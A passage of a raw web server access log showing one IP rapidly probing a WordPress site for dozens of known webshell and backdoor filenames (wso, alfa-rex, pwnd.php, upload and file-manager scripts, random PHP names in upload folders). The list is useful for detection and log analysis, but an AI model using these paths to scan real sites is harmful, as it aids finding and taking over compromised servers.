HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:34 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:36 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:37 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:38 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:38 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:39 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:41 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:42 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:43 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:44 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:45 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:46 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:47 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:48 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:49 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:50 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:51 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:52 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:53 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:53 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:54 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:55 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:55 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:56 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:57 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:58 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:59 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:54:59 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:01 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:02 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:05 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:06 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:08 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:10 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:11 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:12 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:13 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:15 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:18 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:19 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:22 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:24 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:28 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:29 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:29 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:30 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:30 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:32 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:32 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:33 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:34 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:34 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:35 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:35 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:36 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:37 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:38 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:41 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:42 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:43 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:45 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:47 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:49 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:50 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:53 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:53 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:55 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:56 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:55:58 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:02 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:03 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:05 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:07 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:09 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:12 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:15 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:19 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:20 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:23 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:25 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:27 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:30 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:32 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:36 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:37 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:39 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:40 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:42 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:44 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:45 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:46 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:47 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:48 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:49 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:49 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:50 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:51 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:51 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:52 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:52 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:54 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:55 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:56 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:57 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:57 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:58 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:56:59 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:00 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:01 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:02 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:02 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:03 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:03 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:04 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:05 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:05 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:06 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:07 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:08 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:09 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:10 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:11 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:13 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:14 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:15 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:16 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:18 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:18 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:19 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:20 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:21 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:23 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:24 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:25 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:26 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:27 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:28 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:28 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:29 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:30 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:31 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:32 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:35 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:37 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:39 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:40 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:41 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:42 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:44 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:45 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:47 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:48 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:49 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:50 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:50 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:51 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:52 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:52 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:53 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:54 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:55 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:56 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:57 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:58 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:57:59 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:00 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:00 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:01 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:02 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:03 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:04 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:06 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:07 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:08 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:10 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:12 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:13 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:15 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:15 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:16 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:18 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:22 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:24 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:25 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:26 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:29 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:32 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:35 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:37 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:38 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:39 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:40 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:42 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:44 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:45 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:46 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:48 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:51 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:54 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 40.69.222.47 - - [14/Apr/2025:23:58:55 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 